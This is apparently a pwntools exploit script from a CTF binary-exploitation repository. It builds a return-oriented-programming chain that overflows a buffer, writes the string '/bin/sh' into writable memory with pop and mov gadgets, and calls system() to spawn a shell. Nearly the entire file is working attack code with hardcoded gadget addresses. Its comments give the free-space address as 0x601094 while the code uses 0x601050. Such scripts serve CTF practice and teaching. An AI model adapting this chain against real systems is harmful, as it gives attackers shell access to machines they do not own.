<reponame>TeamUnderdawgs/BinaryExploitaion-For-CTFs
from pwn import *

payload = "A" * 40

### Address for system -> 0x4005e0

### address for gadget which will write data to memory

### mov QWORD PTR [r14],r15 -> 0x0000000000400820

### 0x0000000000400890: pop r14; pop r15; ret;

###  r14 == address in memory
##   r15 == string

## address for empty space == 0x601094

## address to pop rdi which is argument for system

payload += p64(0x00000000004007b4) ## padding for ubuntu users

payload += p64(0x400890) ## return to pop gadget

payload += p64(0x601050) ## popping free space in r14 register

payload += "/bin/sh\x00" ## string to write in empty space

payload += p64(0x400820) ## return to gadget that will move data to empty space

payload += p64(0x00000000004007b4) ##padding

payload += p64(0x400893) ## passing argument to system

payload += p64(0x601050) ## popping /bin/sh to rdi

payload += p64(0x00000000004007b4) ##padding

payload += p64(0x4005e0) ## system

payload += p64(0x00000000004007b4)

print payload
